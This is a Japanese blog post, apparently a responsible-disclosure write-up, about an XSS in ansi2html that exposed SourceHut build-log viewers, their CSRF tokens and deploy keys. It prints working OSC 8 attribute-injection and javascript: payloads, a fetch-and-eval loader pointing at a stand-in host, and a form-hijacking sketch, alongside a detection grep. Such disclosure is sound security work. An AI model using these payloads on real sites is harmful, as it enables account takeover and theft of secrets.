ビルドログ経由の SourceHut アカウント乗っ取り(ansi2html.py の XSS)

著者は SourceHut のビルドログに XSS を発見した。ansi2html が端末エスケープシーケンスを安全に扱わないため、他人のビルドログでスクリプトを実行でき、デプロイキーに到達しうる。発見から修正までを記録する。

日本語
コピー

重大な脆弱性の分析、その第一弾へようこそ!

いい話が好きなので、まずは背景から。最近「素晴らしい」アイデアを思いついた(わかってる、わかってる、こういうのはもうやめるべきだ):sr.ht のインスタンスを立てて、他人のプロジェクトを金も取らずにホストするというものだ。タイムライン欄には図々しくも宣伝を貼ってあるので、試したい人も、SNS で叩きたい人もどうぞ。

ともあれ、話を始めよう。最初の一歩は sr.ht リポジトリの最小部分をクローンして、手を入れることだ。

No NLP 今年から、脆弱性研究の提出物にはこの一文を添えることにしている。どう受け取るかはご自由に。

No NLP has been used in this research. The mistakes are all mine.

構造 SourceHut は複数のマイクロサービスでできている。主なものは meta.sr.ht で、ほかに git.sr.ht や hub.sr.ht もあるだろう(フラッグシップインスタンスでは just sr.ht でホストされている)。もちろん builds.sr.ht、つまり CI もある。

あまり知られていないのが mirror.sr.ht(現在 mirror.srht.network へ徐々に移行中)で、各マイクロサービスのビルド済みパッケージが置かれている。

このやり方は好きだ。ディストリビューションのバージョンがフラッグシップインスタンスと完全に一致しさえすれば、どんなマシンでも極めて簡単に始められるからだ。

お気に入りのプロジェクトが今も curl|sudo bash でのインストールを勧めていたり、「このフォルダで Claude を起動するだけでいい」(原文ママ!)と案内していたりするなら、同じく正当なもう一つの選択肢を知っておくといい:本物のパッケージでソフトウェアをエンドユーザーに配布するという方法だ。1

Alpine パッケージのビルド だから違うディストリビューションを使っているなら、あるいは Alpine のバージョンが違うだけでも、少し自力でやる必要がある。sr.ht-apkbuilds というリポジトリがあり、「fork」して自分の署名鍵、自分の Alpine バージョン、自分のミラーに差し替えられる。Arch 向けには sr.ht-pkgbuilds もあるが、実際のところもう誰もメンテナンスしていない。2

これらのパッケージをビルドするには builds.sr.ht でブートストラップする必要がある。ビルドログのページソースを見ようとした。というのも、いつも見たい位置までスクロールしてくれなくて、少し腹が立つからだ。

そこで見つけたのがこれ:

/* ... / .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } / ... */

どう実装されているかちゃんと見て、ついでに直してしまおうと決めた。ほら、私は SourceHut が好きなんだ。ここでかなりの計算資源と帯域が無駄になっているのはわかる。彼らには成功してほしい。そうすれば他の人も続くから。そして今、不要な無駄がそれを遅らせている。3

ansi2html ANSI エスケープコードを HTML に変換するロジックを読み、issue を立てた。当時そのリポジトリは一年以上まったく動きがなかったので、自分でやることにした。良いパッチをもらうのは私自身も好きだから——特定のプロジェクトに集中していないときは、だが。ほどなくして、この具体的な問題を修正する PR を送った。

CTF で培った勘を頼りに、ansi2html をさらに深く読み込んで、もっとバグを探し始めた(特に、もうすぐ自分でホストするのだから!)。色のエスケープシーケンスの解析に加えて、自動リンクと OSC 8 ハイパーリンクにも対応している。コードの構造がまだあまり良くなかったので、この素晴らしい XSS cheatsheet を読んだあと(今では永遠にブックマークに入っている)、悪意ある入力文字列を組み立てた:

$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] <a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a> [...] $ printf '\33]8;;javascript:alertxss\7Nothing to see here\33]8;;\7' | ansi2html [...] <a href="javascript:alertxss">Nothing to see here</a> [...]

前者については説明しておく価値がある。なぜかはわからないが、自分で確認できる通り、解析される DOM ツリーは次と同じになる:

<a href="https://example.com/" autofocus tabindex="1" onfocus="alertxss"> ここに書くことは特にない </a> つまり、ビルドログに ␛]8;;https://example.com/"/...␇ を紛れ込ませることができれば——そしてそれは可能だ。アカウントすら要らない。公開メーリングリストにパッチを送って継続的インテグレーションを有効にするか、ログに出力されるリモートリソースを掌握すればいい——あなたは https://builds.sr.ht/~someone-else/job/1234567 上にビルドジョブを作ったことになる。そのログを見たブラウザはすべてあなたの payload を実行する。自分でそのジョブを投入することもできるが、それにはフラッグシップインスタンスの有料アカウントが必要だ。しかも現時点で匿名決済は用意されていない。

武器化(自宅で試すな) 本物の payload は攻撃者のサイトからダウンロードできる。たとえば eval(await (await fetch('https://example.com'')).text()) だ。以下は何ができるかについての推測にすぎない。

ビルドログのページ自体に CSRF token がすでに埋まっている。document.querySelector('[name=_csrf_token]').value で読めるし、既存のフォーム(「Resubmit build」ボタンの一部)をそのまま使う手もある。たとえば document.querySelector('[name=manifest]').value=something;document.forms[0].submit() だ。管理者にこれを閲覧させれば、おそらく自分に管理者権限を付与できる。もっとまずいのは、すべての deploy key にアクセスできる点だ。builds.sr.ht では sr.ht 自身の deploy key にも手が届く(他のインスタンスではおそらくそうならない)。

これを payload に仕立てるのは、好奇心旺盛な読者への宿題としておく。何度でも言う。ワームは自分のインフラでだけテストしろ。本番環境では絶対に試すな。それが自分の本番環境であってもだ。

ここで多層防御をどうやるか。Content-Security-Policy で制限する。私はこの分野の専門家ではないが、'unsafe-inline' を外すのは良い第一歩だろう(ただし現状ではビルドログのページ自体がスクロールにインラインスクリプトを使っているので、それだけでは役に立つ助言にならない)。

追加の sanitization を入れる(SourceHut は入れたが、やりすぎで色が消えた!)。

あとは ansi2html のコードを、状態を持つ transducer automaton のようなものに書き直すことだ。

連絡 すぐに ~sircmpwn/sr.ht-security@lists.sr.ht へメールを送り、問題の全体を説明し、少なくとも最も深刻な部分を緩和する修正を添えた。

Drew(Drew と呼ばせてもらおうか? Source の中ではみんな兄弟だと思っている)は最終的に builds.sr.ht にパッチを当て、ansi2html の出力を自動で sanitize するようにした。これも良い選択だ。

上流 次に上流へ連絡した(少し遅すぎたかもしれない? 正確な時系列は下に示す)。Ansi2html は、Randall Munroe の有名で今や使い古されたあの漫画で言及されているプロジェクトのひとつだ。5 GitHub の pycontribs 組織の下にあり、その組織は不穏にもこう宣言している。

PyContribs の主な目的は、さまざまな Python 関連プロジェクトがメンテナンスされた状態を保つことを確実にすることです。

過去5年ほどのコントリビューターグラフで上位2人に、git 履歴にあるメールアドレス宛てに連絡した。当面この問題を非公開にするためだった——とはいえ SourceHut の告知で既に公開されていたのだが。

「主」メンテナーだと思われる人物(Sorin Sbarnea)からは今も返信がない(どこかで休暇中なのかもしれない)。もう一人(Sebastian Pipping)は返信してくれた。だがそのメッセージは不可解で、私には異例だった。「2週間後にまたメールしてくれ」。

そこで大人しく2週間待ち、その間にもうひとつの始めたばかりの商売(やらせてくれよ?)の面倒を見てから、メールを送った。

上流を助ける 結局 Sebastian(Sebastian と呼ばせてもらおうか?)はいい奴で、リポジトリの ACL に問題があって私の助けが必要だと気づいた。私たちは ansi2html を当時の停止状態から復活させ、古くなったスクリプトをいくつか更新し、一緒に PyPI へ ansi2html を3〜4バージョンほどリリースした。

できる限り手伝ったが、当時は PhD-in-spe の用事を抱えていたので、少し遅れが出た。

CVE の提出 まずあの不人気な意見から始めよう。CVSS スコアは誤りだ。スコアは製品ごとに個別に付けるべきで、根本原因となるコードパス1本に対して1つの点数を与えるものではない。

CVSS の目的は結局、下流のユーザーに有用な情報を提供し、パッチを当てるべきか判断できるようにすることだ。研究者にはスコアを高く付けたい動機があり、プロジェクト側には低く抑えたい動機がある。彼らは直したいとは思っているが、それに伴う事務作業や、脆弱性をあちこちに回覧する際の秘密保持の手順は避けたい(気持ちはよく分かる!)。

問題は、すべてのソフトウェアが平等に生まれているわけではないことだ。libcurl のようなライブラリは特にそうだ。

CVSS 4.0 は少なくとも CVSS 3.x よりはましだ。Vulnerable System と Subsequent System を区別するようになった。XSS 脆弱性の場合、通常は Web サービスが Vulnerable、ブラウザが Subsequent とされる(バグはサービス側にあるのだから、ある程度は筋が通る。ただし Web サービス自体を攻撃するには、まず被害者のブラウザに影響を与える必要がある)。

最初に私が提出したベクターは VulnCheck によって書き換えられた。理由は分からない。戻せるものなら戻したい。だが、その手間をかける価値があるのかは分からない。どう思うか教えてほしい。このブログ記事を CVE DB に追加したい気持ちもあるが、その前にやり方を調べる必要がありそうだ。

AV:N - 攻撃ベクター:ネットワーク AC:L - 攻撃の複雑さ:低(推測も、回避も、同期攻撃も不要) AT:N - 要件:なし(特定の設定を必要とする場合と比べて) PR:N - 必要な権限:なし(メールを1通送るだけ?lists.sr.ht がなければ低になるかもしれない) UI:P - ユーザー操作:受動的(被害者が JS を有効にしたサイトを訪問する必要がある——これが唯一の問題で、対処も簡単) vulnerable system(builds.sr.ht / sr.ht 全体) VC:H - 機密性への影響:高(実際に直接的で深刻な機密性の損失が起きる——鍵が漏れる) VI:H - 完全性への影響:高(被害者の身元で悪意あるビルドジョブを送信でき、deploy key にもアクセスできる) VA:N - 可用性への影響:なし(ビルド worker を詰まらせるのを除けば、サービス全体を落とすことはできない) subsequent system(被害者のブラウザ) SC:L - 機密性:低(厳しく制限されたスコープの鍵にしかアクセスできない) SI:L - 完全性:低(厳しく制限されたスコープのリクエストを偽造できる) SA:N - 可用性:なし(直接アクセスするより深刻になることはない) supplemental AU:Y - 自動化可能:はい(ワーム化可能——被害者が即座に他者を攻撃でき、影響範囲が広がる) R:I - 回復:不可(ユーザーはビルドジョブを削除できず、非表示にできるだけ) V:C - 価値密度:集中(単一のインスタンスが多くの価値あるプロジェクトと、価値ある deploy secret を抱えている) RE:L - 対応コスト:低(基本的な緩和策:プロキシ層で CSP ヘッダーを挿入する) U:Amber - 緊急性:amber(中程度の緊急性:インフラにとって直接的な危険だが、何年も放置されてきた)

正確な影響については、実際のユーザーは当然異議を唱えられるし、唱えるべきだ(何しろ SourceHut は JavaScript なしでも動くと謳っている)。それでも私が medium ではなく high か critical と主張するのは、もし私が黒帽なら、Drew が JS を有効にして影響を受けるビルドログを訪れただけで、彼の名義でビルドジョブを送信でき、SourceHut の deploy key にもアクセスできるからだ。とはいえ、それをどうやって金に変えるか、どうやって無事に逃げ切るかはよく分からない。こんなことはやめよう、子供たち。これに値するスリルなんて何もない。

影響を受けるバージョン ansi2html >=1.7.0, <1.9.4, builds.sr.ht >= 0.40.0, < 0.105.1

侵害の指標 生のビルドログに ␛]8;;https://example.com/"/...␇ や ␛]8;;javascript:...␇ がないか確認しよう。Bash なら、前者はおそらく grep $'\33]8;[^\7\33]*"' のようなコマンドで探せる。

完全なタイムライン(すべてが永久に記録に残るのはありがたい!) このタイムラインはあまり誇れないが、少なくとも今はすべて修正済みで、それを悪用しようとした記録も(?)ない。公式 Arch Linux リポジトリと sr.ht の Alpine Linux リポジトリの両方を挙げておく。どちらのシステムもかつて推奨されていたからだ。

2019-03-11:ansi2html が builds.sr.ht に追加され、その後 sr.ht-apkbuilds にも入った 2021-09-03:このバグが上流の ansi2html に混入した 2022-02-08:影響を受けるバージョンが Alpine にパッケージされ、フラッグシップインスタンスで稼働した 2022-07-10:影響を受けるバージョンが Arch Linux にパッケージされた 2026-07-17:私はおそらくいくつかのドメインを買った⁶ 2026-07-31:SourceHut を始めた 2026-08-01:上流の ansi2html に issue を立て、TrueColor バグを修正する PR も出した。ansi2html の暫定パッチを用意し、~sircmpwn/sr.ht-security@lists.sr.ht に送った。 2026-08-04:バグが builds.sr.ht のコードで緩和された。Drew DeVault からメールをもらい、この脆弱性を確認された。Drew は公に私に言及した(ありがとう!感謝している!)。 2026-08-06:バグを上流に報告、即座に ACK 2026-08-20:上流に催促 2026-08-22:Sebastian が返信し、いつ動くかを決めた 2026-08-24:実際に脆弱性に取りかかる前に、まず ansi2html の CI をなんとか整えようとした 2026-08-29:1.9.3 がリリース、この脆弱性は修正されず 2026-08-31:ある投稿で、プロジェクト所有者にお金を払うソフトウェア forge を作っていることを匂わせた 2026-09-02:最終的な修正の PR が push され、1.9.4 がリリース、脆弱性は修正 2026-09-05:Arch Linux が ansi2html を修正済みバージョンに更新 2026-09-xx:人生には予期せぬことがある、生活のために仕事を少し多く引き受けた 2026-09-23:このブログ記事(実は -09-24、もう真夜中を過ぎているから。ああ。) 2077-??-??:利益……? 注意してほしいのは、ansi2html を注意深く監査しても、バージョン更新のたびにそれをやり直さない限り SourceHut は救われないということだ。builds.sr.ht はこうして(ほぼ丸々)4.5 年間 vulnerable なままだった。 黒帽の誘惑から私を遠ざけてくれた神に感謝する。Danonek123 はずっとそばにいてくれた。愛している。 まとめ ほら、脆弱性研究はサーカスである必要も、セキュリティパフォーマンスである必要も、弁護士を雇った官僚機構との訴訟である必要もない。でもそうしないと、結局あなたはより良い暮らしにはならないかもしれない。 CTF と招待制の小規模な会議(それに Antmicro でのインターン中にやらせてもらった VR も。今でも感謝している)を除けば、これまで脆弱性研究で稼いだ金額は 0.00€(つまり $0.00 華氏)だ。もし私を支援したいなら(もっと VR に時間を使えるように)、何か買ってくれると嬉しい。寄付よりそちらのほうがありがたい(寄付でももちろん構わない!)。プロとしてのセキュリティコンサルティングも受け付けている。 まだ終わらない!この先も続く、とはいえ critical とまでは言えないかもしれない。見逃したくないなら、私の RSS を購読してほしい。 あるいはせめて、誰でも make install/ninja install をそのまま実行できる、超簡単な configure スクリプトを任意で用意するとか、そうすれば他の人がパッケージしやすくなる。(ちなみに、なぜみんな AppImage を使うのか、静的バイナリをそのまま出せばいいのに、今でも分からない。) ↩︎ Arch で sr.ht をホストしたいなら、たぶん今でもパッチを送れる! ↩︎ おい Drew/Conrad/Simon/(誰か漏れてたらごめん!)、君たちが sr.ht-apkbuilds で ansi2html を更新するとき、実はその後の最初の builds.sr.ht 再起動時に、builds.sr.ht の帯域への影響を測ってほしい。ここにリンクを載せるようにする。 ↩︎ そう、これは em dash だ。ここではポーランド語の組版を使っている、編集者に指示する相手がいないから。でも訂正は歓迎する。私を drive-by editor だと思ってくれていい。 ↩︎ ああ、ごめん、リンクを間違えた。もちろん言いたかったのは https://xkcd.com/2347/。 だ。 ↩︎ 決して衝動買いではない。「少し投資した気分になるために。」と自分に言い聞かせた。 ↩︎

出典: arusekk← ホームへ戻る